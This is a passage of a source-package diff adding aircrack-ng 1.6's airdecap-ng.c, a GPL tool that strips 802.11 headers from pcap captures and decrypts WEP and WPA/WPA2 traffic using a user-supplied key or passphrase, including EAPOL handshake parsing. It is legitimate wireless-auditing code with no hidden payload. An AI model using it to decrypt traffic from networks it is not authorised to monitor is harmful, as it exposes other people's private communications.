+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00,
+	   0x00, 0x00, 0x08, 0x00, 0x00, 0x00};

aircrack-ng-1.6.tar.gz/src/airdecap-ng Added

aircrack-ng-1.6.tar.gz/src/airdecap-ng/airdecap-ng.c Added

@@ -0,0 +1,1134 @@
+/*
+ *  802.11 to Ethernet pcap translator
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005  Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <unistd.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <time.h>
+#include <getopt.h>
+
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/adt/avl_tree.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/tui/console.h"
+
+static const char usage[] =
+
+	"\n"
+	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: airdecap-ng [options] <pcap file>\n"
+	"\n"
+	"  Common options:\n"
+	"      -l         : don't remove the 802.11 header\n"
+	"      -b <bssid> : access point MAC address filter\n"
+	"      -e <essid> : target network SSID\n"
+	"      -o <fname> : output file for decrypted packets (default <src>-dec)\n"
+	"\n"
+	"  WEP specific option:\n"
+	"      -w <key>   : target network WEP key in hex\n"
+	"      -c <fname> : output file for corrupted WEP packets (default "
+	"<src>-bad)\n"
+	"\n"
+	"  WPA specific options:\n"
+	"      -p <pass>  : target network WPA passphrase\n"
+	"      -k <pmk>   : WPA Pairwise Master Key in hex\n"
+	"\n"
+	"      --help     : Displays this usage screen\n"
+	"\n"
+	"  If your capture contains any WDS packet, you must specify the -b\n"
+	"  option (otherwise only packets destined to the AP will be decrypted)\n"
+	"\n";
+
+static struct decap_stats
+{
+	unsigned long nb_stations; /* # of stations seen */
+	unsigned long nb_read; /* # of packets read       */
+	unsigned long nb_wep; /* # of WEP data packets   */
+	unsigned long nb_bad; /* # of bad data packets   */
+	unsigned long nb_wpa; /* # of WPA data packets   */
+	unsigned long nb_plain; /* # of plaintext packets  */
+	unsigned long nb_unwep; /* # of decrypted WEP pkt  */
+	unsigned long nb_unwpa; /* # of decrypted WPA pkt  */
+	unsigned long nb_failed_tkip; /* # of failed WPA TKIP pkt decryptions */
+	unsigned long nb_failed_ccmp; /* # of failed WPA CCMP pkt decryptions */
+} stats;
+
+static struct options
+{
+	int no_convert;
+	char essid[36];
+	char passphrase[65];
+	unsigned char bssid[6];
+	unsigned char pmk[40];
+	unsigned char wepkey[64];
+	int weplen, crypt;
+	int store_bad;
+	char decrypted_fpath[65536];
+	char corrupted_fpath[65536];
+} opt;
+
+static unsigned char buffer[65536];
+static unsigned char buffer2[65536];
+static bool wds = false;
+
+/* this routine handles to 802.11 to Ethernet translation */
+
+static int
+write_packet(FILE * f_out, struct pcap_pkthdr * pkh, unsigned char * h80211)
+{
+	REQUIRE(f_out != NULL);
+	REQUIRE(pkh != NULL);
+	REQUIRE(h80211 != NULL);
+
+	int n;
+	unsigned char arphdr[12];
+	int qosh_offset = 0;
+
+	if (opt.no_convert)
+	{
+		if (buffer != h80211) memcpy(buffer, h80211, pkh->caplen);
+	}
+	else
+	{
+		/* create the Ethernet link layer (MAC dst+src) */
+
+		switch (h80211[1] & 3)
+		{
+			case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */
+
+				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
+				break;
+
+			case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */
+
+				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
+				break;
+
+			case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */
+
+				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 16, sizeof(arphdr) / 2);
+				break;
+
+			default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */
+
+				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 24, sizeof(arphdr) / 2);
+				break;
+		}
+
+		/* check QoS header */
+		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+		{
+			qosh_offset += 2;
+		}
+
+		/* remove the 802.11 + LLC header */
+
+		if ((h80211[1] & 3) != 3)
+		{
+			pkh->len -= 24 + qosh_offset + 6;
+			pkh->caplen -= 24 + qosh_offset + 6;
+
+			/* can overlap */
+			memmove(buffer + 12, h80211 + qosh_offset + 30, pkh->caplen);
+		}
+		else
+		{
+			pkh->len -= 30 + qosh_offset + 6;
+			pkh->caplen -= 30 + qosh_offset + 6;
+
+			memmove(buffer + 12, h80211 + qosh_offset + 36, pkh->caplen);
+		}
+
+		memcpy(buffer, arphdr, 12);
+
+		pkh->len += 12;
+		pkh->caplen += 12;
+	}
+
+	n = sizeof(struct pcap_pkthdr);
+
+	if (fwrite(pkh, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(packet header) failed");
+		return (EXIT_FAILURE);
+	}
+
+	n = pkh->caplen;
+
+	if (fwrite(buffer, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(packet data) failed");
+		return (EXIT_FAILURE);
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+int main(int argc, char * argv[])
+{
+	time_t tt;
+	unsigned magic;
+	char *s, buf[128];
+	FILE *f_in, *f_out, *f_bad = NULL;
+	unsigned long crc;
+	int i = 0, linktype;
+	unsigned n;
+	unsigned z;
+	unsigned char * h80211 = NULL;
+	unsigned char bssid[6], stmac[6];
+
+	c_avl_tree_t * stations = c_avl_create(station_compare);
+	ALLEGE(stations != NULL);
+	struct WPA_ST_info * st_cur;
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+
+	ac_crypto_init();
+
+	/* parse the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+
+	while (1)
+	{
+		int option_index = 0;
+
+		const struct option long_options[] = {{"bssid", 1, 0, 'b'},
+											  {"debug", 1, 0, 'd'},
+											  {"help", 0, 0, 'H'},
+											  {0, 0, 0, 0}};
+
+		int option = getopt_long(
+			argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'l':
+
+				opt.no_convert = 1;
+				break;
+
+			case 'b':
+
+				i = 0;
+				s = optarg;
+
+				while (sscanf(s, "%x", &n) == 1)
+				{
+					if (n > 255)
+					{
+						printf("Invalid BSSID (not a MAC).\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+
+					opt.bssid[i] = n;
+
+					if (++i >= 6) break;
+
+					if (!(s = strchr(s, ':'))) break;
+
+					s++;
+				}
+
+				if (i != 6)
+				{
+					printf("Invalid BSSID (not a MAC).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'k':
+
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n > 255)
+					{
+						printf("Invalid WPA PMK.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+
+					opt.pmk[i++] = n;
+					if (i >= 32) break;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 32)
+				{
+					printf("Invalid WPA PMK.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'e':
+
+				if (opt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				memset(opt.essid, 0, sizeof(opt.essid));
+				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
+				break;
+
+			case 'o':
+
+				if (opt.decrypted_fpath[0])
+				{
+					printf(
+						"filename for decrypted packets already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.decrypted_fpath,
+						optarg,
+						sizeof(opt.decrypted_fpath) - 1);
+				break;
+
+			case 'c':
+
+				if (opt.corrupted_fpath[0])
+				{
+					printf(
+						"filename for corrupted packets already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.corrupted_fpath,
+						optarg,
+						sizeof(opt.corrupted_fpath) - 1);
+				break;
+
+			case 'p':
+
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(opt.passphrase, 0, sizeof(opt.passphrase));
+				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
+				break;
+
+			case 'w':
+
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WEP;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+
+					opt.wepkey[i++] = n;
+
+					if (i >= 64) break;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length. [5,13,16,29,61]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.weplen = i;
+
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Airdecap-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (EXIT_FAILURE);
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(usage,
+				   getVersion("Airdecap-ng",
+							  _MAJ,
+							  _MIN,
+							  _SUB_MIN,
+							  _REVISION,
+							  _BETA,
+							  _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No file to decrypt specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (EXIT_FAILURE);
+	}
+
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (opt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
+
+			if (opt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e).\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+			}
+
+			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
+		}
+	}
+
+	/* open the input and output pcap files */
+
+	if ((f_in = fopen(argv[optind], "rb")) == NULL)
+	{
+		perror("fopen failed\n");
+		printf("Could not open \"%s\".\n", argv[optind]);
+		return (EXIT_FAILURE);
+	}
+
+	n = sizeof(pfh);
+
+	if (fread(&pfh, 1, n, f_in) != (size_t) n)
+	{
+		perror("fread(pcap file header) failed");
+		return (EXIT_FAILURE);
+	}
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   argv[optind]);
+		return (EXIT_FAILURE);
+	}
+
+	if ((magic = pfh.magic) == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
+
+	if (pfh.linktype != LINKTYPE_IEEE802_11
+		&& pfh.linktype != LINKTYPE_PRISM_HEADER
+		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+		&& pfh.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   argv[optind]);
+		return (EXIT_FAILURE);
+	}
+
+	linktype = pfh.linktype;
+
+	n = strlen(argv[optind]);
+
+	if (n > 4 && (n + 5 < (int) sizeof(buffer)) && argv[optind][n - 4] == '.')
+	{
+		memcpy(buffer, argv[optind], n - 4);
+		memcpy(buffer2, argv[optind], n - 4);
+		memcpy(buffer + n - 4, "-dec", 4);
+		memcpy(buffer2 + n - 4, "-bad", 4);
+		memcpy(buffer + n, argv[optind] + n - 4, 5);
+		memcpy(buffer2 + n, argv[optind] + n - 4, 5);
+	}
+	else
+	{
+		if (n > 5 && (n + 6 < (int) sizeof(buffer))
+			&& argv[optind][n - 5] == '.')
+		{
+			memcpy(buffer, argv[optind], n - 5);
+			memcpy(buffer2, argv[optind], n - 5);
+			memcpy(buffer + n - 5, "-dec", 4);
+			memcpy(buffer2 + n - 5, "-bad", 4);
+			memcpy(buffer + n - 1, argv[optind] + n - 5, 6);
+			memcpy(buffer2 + n - 1, argv[optind] + n - 5, 6);
+		}
+		else
+		{
+			memset(buffer, 0, sizeof(buffer));
+			memset(buffer2, 0, sizeof(buffer));
+			snprintf(
+				(char *) buffer, sizeof(buffer) - 1, "%s-dec", argv[optind]);
+			snprintf(
+				(char *) buffer2, sizeof(buffer) - 1, "%s-bad", argv[optind]);
+		}
+	}
+
+	if (opt.crypt == CRYPT_WEP && opt.no_convert == 1)
+	{
+		opt.store_bad = 1;
+	}
+
+	/* Support manually-configured output files*/
+	if (opt.decrypted_fpath[0])
+		f_out = fopen(opt.decrypted_fpath, "wb+");
+	else
+		f_out = fopen((char *) buffer, "wb+");
+
+	if (f_out == NULL)
+	{
+		perror("fopen failed");
+		printf("Could not create \"%s\".\n", buffer);
+		return (EXIT_FAILURE);
+	}
+
+	if (opt.store_bad)
+	{
+		if (opt.corrupted_fpath[0])
+			f_bad = fopen(opt.corrupted_fpath, "wb+");
+		else
+			f_bad = fopen((char *) buffer2, "wb+");
+
+		if (f_bad == NULL)
+		{
+			perror("fopen failed");
+			printf("Could not create \"%s\".\n", buffer2);
+			return (EXIT_FAILURE);
+		}
+	}
+
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = (opt.no_convert) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET;
+
+	n = sizeof(pfh);
+
+	if (fwrite(&pfh, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(pcap file header) failed");
+		return (EXIT_FAILURE);
+	}
+
+	if (opt.store_bad)
+	{
+		ALLEGE(f_bad != NULL);
+
+		if (fwrite(&pfh, 1, n, f_bad) != (size_t) n)
+		{
+			perror("fwrite(pcap file header) failed");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	/* loop reading and deciphering the packets */
+
+	memset(&stats, 0, sizeof(stats));
+	tt = time(NULL);
+
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			/* update the status line every second */
+
+			erase_line(0);
+			printf("Read %lu packets...\r", stats.nb_read);
+			fflush(stdout);
+			tt = time(NULL);
+		}
+
+		/* read one packet */
+
+		n = sizeof(pkh);
+
+		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
+
+		if (magic == TCPDUMP_CIGAM)
+		{
+			SWAP32(pkh.caplen);
+			SWAP32(pkh.len);
+		}
+
+		n = pkh.caplen;
+
+		if (n <= 0 || n > 65535)
+		{
+			printf("Corrupted file? Invalid packet length %u.\n", n);
+			break;
+		}
+
+		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
+
+		stats.nb_read++;
+
+		h80211 = buffer;
+
+		if (linktype == LINKTYPE_PRISM_HEADER)
+		{
+			/* remove the prism header */
+
+			if (h80211[7] == 0x40)
+				n = 64; /* prism54 */
+			else
+			{
+				n = *(int *) (h80211 + 4);
+
+				if (magic == TCPDUMP_CIGAM) SWAP32(n);
+			}
+
+			if (n < 8 || n >= (unsigned) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		if (linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			/* remove the radiotap header */
+
+			n = *(unsigned short *) (h80211 + 2);
+
+			if (n <= 0 || n >= (unsigned) pkh.caplen) continue;
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		if (linktype == LINKTYPE_PPI_HDR)
+		{
+			/* Remove the PPI header */
+
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+			if (n <= 0 || n >= (unsigned) pkh.caplen) continue;
+
+			/* for a while Kismet logged broken PPI headers */
+			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+				n = 32;
+
+			if (n <= 0 || n >= (unsigned) pkh.caplen) continue; //-V560
+
+			h80211 += n;
+			pkh.caplen -= n;
+		}
+
+		/* remove the FCS if present (madwifi) */
+
+		if (check_crc_buf(h80211, pkh.caplen - 4) == 1)
+		{
+			pkh.len -= 4;
+			pkh.caplen -= 4;
+		}
+
+		/* check if data */
+
+		if ((h80211[0] & 0x0C) != 0x08) continue;
+
+		/* check minimum size */
+
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+
+		if (z + 16 > pkh.caplen) continue;
+
+		/* check QoS header */
+		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+		{
+			z += 2;
+		}
+
+		/* check the BSSID */
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				memcpy(bssid, h80211 + 16, sizeof(bssid)); //-V525
+				break; // Adhoc
+			case 1:
+				memcpy(bssid, h80211 + 4, sizeof(bssid));
+				break; // ToDS
+			case 2:
+				memcpy(bssid, h80211 + 10, sizeof(bssid));
+				break; // FromDS
+			case 3:
+				wds = true;
+				if (memcmp(opt.bssid, ZERO, 6))
+				{
+					/* BSSID has been specified */
+					if (memcmp(opt.bssid, h80211 + 4, 6))
+						if (memcmp(opt.bssid, h80211 + 10, 6))
+							/* BSSID doesn't match either RA nor TA */
+							continue;
+						else
+							/* BSSID is equal to TA */
+							memcpy(bssid, h80211 + 10, sizeof(bssid));
+					else
+						/* BSSID is equal to RA */
+						memcpy(bssid, h80211 + 4, sizeof(bssid));
+				}
+				else
+					/* BSSID has not been specified, set BSSID from TA*/
+					memcpy(bssid, h80211 + 10, sizeof(bssid));
+				break; // WDS
+		}
+
+		if (memcmp(opt.bssid, ZERO, 6) != 0)
+			if (memcmp(opt.bssid, bssid, 6) != 0) continue;
+
+		/* locate the station's MAC address */
+
+		switch (h80211[1] & 3)
+		{
+			case 1:
+				memcpy(stmac, h80211 + 10, sizeof(stmac)); //-V525
+				break;
+			case 2:
+				memcpy(stmac, h80211 + 4, sizeof(stmac));
+				break;
+			case 3:
+				if (memcmp(opt.bssid, ZERO, 6))
+				{
+					/* BSSID has been specified */
+					if (memcmp(bssid, h80211 + 4, 6))
+						/* BSSID is not RA, STA must be RA */
+						memcpy(stmac, h80211 + 4, sizeof(stmac));
+				}
+				else
+					/* BSSID is RA or not specified, set STA from TA */
+					memcpy(stmac, h80211 + 10, sizeof(stmac));
+				break; // WDS
+			default:
+				continue;
+		}
+
+		int not_found = c_avl_get(stations, stmac, (void **) &st_cur);
+
+		/* if it's a new station, add it */
+
+		if (not_found)
+		{
+			if (!(st_cur
+				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
+			{
+				perror("malloc failed");
+				break;
+			}
+
+			memset(st_cur, 0, sizeof(struct WPA_ST_info));
+
+			memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
+			memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
+			c_avl_insert(stations, st_cur->stmac, st_cur);
+			stats.nb_stations++;
+		}
+
+		ALLEGE(st_cur != NULL);
+
+		/* check if we haven't already processed this packet */
+
+		crc = calc_crc_buf(h80211 + z, pkh.caplen - z);
+
+		if ((h80211[1] & 3) == 2)
+		{
+			if (st_cur->t_crc == crc) continue;
+
+			st_cur->t_crc = crc;
+		}
+		else
+		{
+			if (st_cur->f_crc == crc) continue;
+
+			st_cur->f_crc = crc;
+		}
+
+		/* check the SNAP header to see if data is encrypted *
+		 * as unencrypted data begins with AA AA 03 00 00 00 */
+
+		if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
+		{
+			/* check the extended IV flag */
+
+			if ((h80211[z + 3] & 0x20) == 0)
+			{
+				unsigned char K[64];
+
+				stats.nb_wep++;
+
+				if (opt.crypt != CRYPT_WEP) continue;
+
+				memcpy(K, h80211 + z, 3);
+				memcpy(K + 3, opt.wepkey, opt.weplen);
+
+				if (opt.store_bad) memcpy(buffer2, h80211, pkh.caplen);
+
+				if (decrypt_wep(
+						h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen)
+					== 0)
+				{
+					if (opt.store_bad)
+					{
+						stats.nb_bad++;
+						memcpy(h80211, buffer2, pkh.caplen);
+						if (write_packet(f_bad, &pkh, h80211) != 0) break;
+					}
+					continue;
+				}
+
+				/* WEP data packet was successfully decrypted, *
+				 * remove the WEP IV & ICV and write the data  */
+
+				pkh.len -= 8;
+				pkh.caplen -= 8;
+
+				memmove(h80211 + z, h80211 + z + 4, pkh.caplen - z);
+
+				stats.nb_unwep++;
+
+				h80211[1] &= 0xBF;
+
+				if (write_packet(f_out, &pkh, h80211) != 0) break;
+			}
+			else
+			{
+				stats.nb_wpa++;
+
+				if (opt.crypt != CRYPT_WPA) continue;
+
+				/* if the PTK is valid, try to decrypt */
+
+				if (!st_cur->valid_ptk) continue;
+
+				if (st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
+					{
+						stats.nb_failed_tkip++;
+						continue;
+					}
+
+					pkh.len -= 20;
+					pkh.caplen -= 20;
+				}
+				else if (st_cur->keyver == 2)
+				{
+					if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
+					{
+						stats.nb_failed_ccmp++;
+						continue;
+					}
+
+					pkh.len -= 16;
+					pkh.caplen -= 16;
+				}
+				else
+				{
+					fprintf(stderr, "unsupported keyver: %d\n", st_cur->keyver);
+					continue;
+				}
+
+				/* WPA data packet was successfully decrypted, *
+				 * remove the WPA Ext.IV & MIC, write the data */
+
+				if (pkh.caplen > z)
+				{
+					/* can overlap */
+					memmove(h80211 + z, h80211 + z + 8, pkh.caplen - z);
+				}
+				else
+				{
+					/* overflow */
+					continue;
+				}
+
+				stats.nb_unwpa++;
+
+				h80211[1] &= 0xBF;
+
+				if (write_packet(f_out, &pkh, h80211) != 0) break;
+			}
+		}
+		else
+		{
+			/* check ethertype == EAPOL */
+
+			z += 6;
+
+			if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E)
+			{
+				stats.nb_plain++;
+
+				if (opt.crypt != CRYPT_NONE) continue;
+
+				if (write_packet(f_out, &pkh, h80211) != 0)
+					break;
+				else
+					continue;
+			}
+
+			z += 2;
+
+			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+
+			if (h80211[z + 1] != 0x03
+				|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
+				continue;
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				/* set authenticator nonce */
+
+				memcpy(st_cur->anonce, &h80211[z + 17], 32);
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+
+					memcpy(st_cur->snonce, &h80211[z + 17], 32);
+				}
+
+				/* copy the MIC & eapol frame */
+
+				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
+
+				if (pkh.len - z < st_cur->eapol_size
+					|| st_cur->eapol_size == 0 //-V560
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					continue;
+				}
+
+				memcpy(st_cur->keymic, &h80211[z + 81], 16); //-V512
+				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
+
+				/* copy the key descriptor version */
+
+				st_cur->keyver = h80211[z + 6] & 7;
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					/* set authenticator nonce */
+
+					memcpy(st_cur->anonce, &h80211[z + 17], 32);
+				}
+
+				/* copy the MIC & eapol frame */
+
+				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
+
+				if (pkh.len - z < st_cur->eapol_size
+					|| st_cur->eapol_size == 0 //-V560
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					continue;
+				}
+
+				memcpy(st_cur->keymic, &h80211[z + 81], sizeof(st_cur->keymic));
+				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
+				memset(
+					st_cur->eapol + 81,
+					0,
+					16); // where does this size come from? eapol is char[256]
+
+				/* copy the key descriptor version */
+
+				st_cur->keyver = h80211[z + 6] & 7;
+			}
+
+			memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
+			st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
+		}
+	}
+
+	/* cleanup avl tree */
+	void *key, *value;
+	while (c_avl_pick(stations, &key, &value) == 0)
+	{
+		free(value);
+	}
+	c_avl_destroy(stations);
+
+	fclose(f_in);
+	fclose(f_out);
